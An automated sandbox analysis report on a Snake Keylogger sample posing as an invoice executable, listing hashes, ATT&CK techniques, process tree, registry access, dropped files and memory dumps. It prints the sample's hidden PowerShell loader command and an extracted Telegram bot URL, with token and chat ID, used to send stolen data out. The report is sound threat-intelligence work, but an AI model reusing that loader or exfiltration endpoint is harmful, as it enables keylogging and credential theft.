snakekeylogger | 4723dee89c57a6cd8008358779826bfb0a6385f40dd852ad1bbba3e5e6d6758c

Analysis

max time kernel
105s
max time network
114s
platform
windows10-2004_x64
resource
win10v2004-20250410-en
resource tags

arch:x64arch:x86image:win10v2004-20250410-enlocale:en-usos:windows10-2004-x64system
submitted
14/04/2025, 06:39

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General

Target

CMSAGEInvoice8March2025sign.exe
Size

1.0MB
MD5

70b411c7aa1753649f16bf40ff715e15
SHA1

25164d02b05a3d22a63e47ab09fd8f5c96650a8c
SHA256

4723dee89c57a6cd8008358779826bfb0a6385f40dd852ad1bbba3e5e6d6758c
SHA512

722116926312bb80a85eda1af64876dff2802f4d29e3a2d5b1f7366076c8d0d8137cb4bdb29282b95a731a3b160ba0fec3ecc701cd802e3758c592b253086851
SSDEEP

24576:QG8tBFBiemT0AxlhvMh85j+nJuhUwY+s6iA4GuaJjt8c:TeHixKyjIJuJ26Idc

Score

10^/10

snakekeylogger discovery execution keylogger stealer

Malware Config

Extracted

Family

snakekeylogger

https://api.telegram.org/bot7694680589:AAH7v3RVHta216sxEJEjKVfvPtJtbLd9qY0/sendMessage?chat_id=7987531671

Signatures

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 1 IoCs

resource	yara_rule
behavioral1/memory/4408-82-0x0000000000A00000-0x0000000001C54000-memory.dmp	family_snakekeylogger

Snakekeylogger family
snakekeylogger

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4892	powershell.exe

Blocklisted process makes network request 3 IoCs

flow	pid	Process
29	4408	msiexec.exe
33	4408	msiexec.exe
35	4408	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
28	drive.google.com
29	drive.google.com

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
4408	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
4892	powershell.exe
4408	msiexec.exe

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\bamsens.ini	CMSAGEInvoice8March2025sign.exe
File opened for modification	C:\Program Files (x86)\Kerystics.txt	CMSAGEInvoice8March2025sign.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
228	4408	WerFault.exe	92

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CMSAGEInvoice8March2025sign.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
4892	powershell.exe
4892	powershell.exe
4892	powershell.exe
4892	powershell.exe
4892	powershell.exe
4892	powershell.exe
4892	powershell.exe
4892	powershell.exe
4892	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
4892	powershell.exe

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	4892	powershell.exe
Token: SeIncreaseQuotaPrivilege	4892	powershell.exe
Token: SeSecurityPrivilege	4892	powershell.exe
Token: SeTakeOwnershipPrivilege	4892	powershell.exe
Token: SeLoadDriverPrivilege	4892	powershell.exe
Token: SeSystemProfilePrivilege	4892	powershell.exe
Token: SeSystemtimePrivilege	4892	powershell.exe
Token: SeProfSingleProcessPrivilege	4892	powershell.exe
Token: SeIncBasePriorityPrivilege	4892	powershell.exe
Token: SeCreatePagefilePrivilege	4892	powershell.exe
Token: SeBackupPrivilege	4892	powershell.exe
Token: SeRestorePrivilege	4892	powershell.exe
Token: SeShutdownPrivilege	4892	powershell.exe
Token: SeDebugPrivilege	4892	powershell.exe
Token: SeSystemEnvironmentPrivilege	4892	powershell.exe
Token: SeRemoteShutdownPrivilege	4892	powershell.exe
Token: SeUndockPrivilege	4892	powershell.exe
Token: SeManageVolumePrivilege	4892	powershell.exe
Token: 33	4892	powershell.exe
Token: 34	4892	powershell.exe
Token: 35	4892	powershell.exe
Token: 36	4892	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 4140 wrote to memory of 4892	4140	CMSAGEInvoice8March2025sign.exe	87
PID 4140 wrote to memory of 4892	4140	CMSAGEInvoice8March2025sign.exe	87
PID 4140 wrote to memory of 4892	4140	CMSAGEInvoice8March2025sign.exe	87
PID 4892 wrote to memory of 4408	4892	powershell.exe	92
PID 4892 wrote to memory of 4408	4892	powershell.exe	92
PID 4892 wrote to memory of 4408	4892	powershell.exe	92
PID 4892 wrote to memory of 4408	4892	powershell.exe	92

C:\Users\Admin\AppData\Local\Temp\CMSAGEInvoice8March2025sign.exe
"C:\Users\Admin\AppData\Local\Temp\CMSAGEInvoice8March2025sign.exe"
1⤵
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4140
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Topfolkenes=gc -raw 'C:\Users\Admin\AppData\Roaming\varices\Nonsuppression\Uncharacter.For';$Sheitel=$Topfolkenes.SubString(73434,3);.$Sheitel($Topfolkenes)
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4892
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\SysWOW64\msiexec.exe"
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    PID:4408
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4408 -s 2040
      4⤵
      Program crash
      PID:228

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4408 -ip 4408
1⤵
PID:2300

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_psvcr1wm.oru.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\varices\Cutlips.Cer

Filesize
454KB

MD5
51d2e067acf812c6e2e7732fbce4a1ef

SHA1
7fa5b8d691fd56e4c28127ff532ca60113add77d

SHA256
334845cd4a136d1d94adda71db1cf8c02bfe919f9ab154f38c9666de03e80d97

SHA512
3ba0531b15e9cf4a3b18870fa53443e41a2ace55a8cb7871409e654517944ec22097afa5228dd9db2da64c55ad401e189a6836d23918bfa2cdb98110297999fd

Download Submit
C:\Users\Admin\AppData\Roaming\varices\Nonsuppression\Uncharacter.For

Filesize
71KB

MD5
3892e8e5172dd5eb9a63f7163aa1a55c

SHA1
7daf76addd5298e65418a673f6076fb7736648a8

SHA256
abe9ac77cfa0e4d01bc4b730e6b18765d6a9fc04c07d562002c7ea80e09d0f47

SHA512
c4fef87203a8a643a5f70a3ff2637e00e57bdfab72fe1b4e71bff0c30cdd20db945b3b17ac06af382c98ec8e5891e69734164fc663aa2af0f86339c887368caf

Download Submit
memory/4408-82-0x0000000000A00000-0x0000000001C54000-memory.dmp

Filesize
18.3MB

Download
memory/4408-81-0x0000000000A00000-0x0000000001C54000-memory.dmp

Filesize
18.3MB

Download
memory/4892-54-0x0000000073550000-0x0000000073D00000-memory.dmp

Filesize
7.7MB

Download
memory/4892-58-0x0000000007DE0000-0x0000000007DEE000-memory.dmp

Filesize
56KB

Download
memory/4892-23-0x0000000006030000-0x0000000006096000-memory.dmp

Filesize
408KB

Download
memory/4892-20-0x0000000005980000-0x00000000059E6000-memory.dmp

Filesize
408KB

Download
memory/4892-32-0x00000000061A0000-0x00000000064F4000-memory.dmp

Filesize
3.3MB

Download
memory/4892-33-0x00000000066A0000-0x00000000066BE000-memory.dmp

Filesize
120KB

Download
memory/4892-34-0x00000000066E0000-0x000000000672C000-memory.dmp

Filesize
304KB

Download
memory/4892-35-0x0000000007660000-0x00000000076F6000-memory.dmp

Filesize
600KB

Download
memory/4892-36-0x0000000006BA0000-0x0000000006BBA000-memory.dmp

Filesize
104KB

Download
memory/4892-37-0x0000000006BF0000-0x0000000006C12000-memory.dmp

Filesize
136KB

Download
memory/4892-38-0x0000000007EF0000-0x0000000008494000-memory.dmp

Filesize
5.6MB

Download
memory/4892-19-0x00000000057E0000-0x0000000005802000-memory.dmp

Filesize
136KB

Download
memory/4892-40-0x0000000008B20000-0x000000000919A000-memory.dmp

Filesize
6.5MB

Download
memory/4892-41-0x0000000007AA0000-0x0000000007AD2000-memory.dmp

Filesize
200KB

Download
memory/4892-52-0x0000000073550000-0x0000000073D00000-memory.dmp

Filesize
7.7MB

Download
memory/4892-53-0x0000000007AE0000-0x0000000007AFE000-memory.dmp

Filesize
120KB

Download
memory/4892-42-0x000000006F9E0000-0x000000006FA2C000-memory.dmp

Filesize
304KB

Download
memory/4892-15-0x000000007355E000-0x000000007355F000-memory.dmp

Filesize
4KB

Download
memory/4892-55-0x0000000007B10000-0x0000000007BB3000-memory.dmp

Filesize
652KB

Download
memory/4892-56-0x0000000007C10000-0x0000000007C1A000-memory.dmp

Filesize
40KB

Download
memory/4892-57-0x0000000007D90000-0x0000000007DA1000-memory.dmp

Filesize
68KB

Download
memory/4892-21-0x0000000073550000-0x0000000073D00000-memory.dmp

Filesize
7.7MB

Download
memory/4892-59-0x0000000007DF0000-0x0000000007E04000-memory.dmp

Filesize
80KB

Download
memory/4892-60-0x0000000007E30000-0x0000000007E4A000-memory.dmp

Filesize
104KB

Download
memory/4892-61-0x0000000007E20000-0x0000000007E28000-memory.dmp

Filesize
32KB

Download
memory/4892-62-0x0000000007E40000-0x0000000007E6A000-memory.dmp

Filesize
168KB

Download
memory/4892-63-0x0000000007E70000-0x0000000007E94000-memory.dmp

Filesize
144KB

Download
memory/4892-64-0x0000000073550000-0x0000000073D00000-memory.dmp

Filesize
7.7MB

Download
memory/4892-66-0x0000000073550000-0x0000000073D00000-memory.dmp

Filesize
7.7MB

Download
memory/4892-18-0x0000000005A00000-0x0000000006028000-memory.dmp

Filesize
6.2MB

Download
memory/4892-69-0x0000000073550000-0x0000000073D00000-memory.dmp

Filesize
7.7MB

Download
memory/4892-68-0x000000007355E000-0x000000007355F000-memory.dmp

Filesize
4KB

Download
memory/4892-70-0x0000000073550000-0x0000000073D00000-memory.dmp

Filesize
7.7MB

Download
memory/4892-71-0x0000000073550000-0x0000000073D00000-memory.dmp

Filesize
7.7MB

Download
memory/4892-72-0x00000000091A0000-0x000000000DB74000-memory.dmp

Filesize
73.8MB

Download
memory/4892-73-0x0000000073550000-0x0000000073D00000-memory.dmp

Filesize
7.7MB

Download
memory/4892-74-0x0000000073550000-0x0000000073D00000-memory.dmp

Filesize
7.7MB

Download
memory/4892-75-0x0000000073550000-0x0000000073D00000-memory.dmp

Filesize
7.7MB

Download
memory/4892-77-0x0000000073550000-0x0000000073D00000-memory.dmp

Filesize
7.7MB

Download
memory/4892-17-0x0000000073550000-0x0000000073D00000-memory.dmp

Filesize
7.7MB

Download
memory/4892-16-0x00000000030A0000-0x00000000030D6000-memory.dmp

Filesize
216KB

Download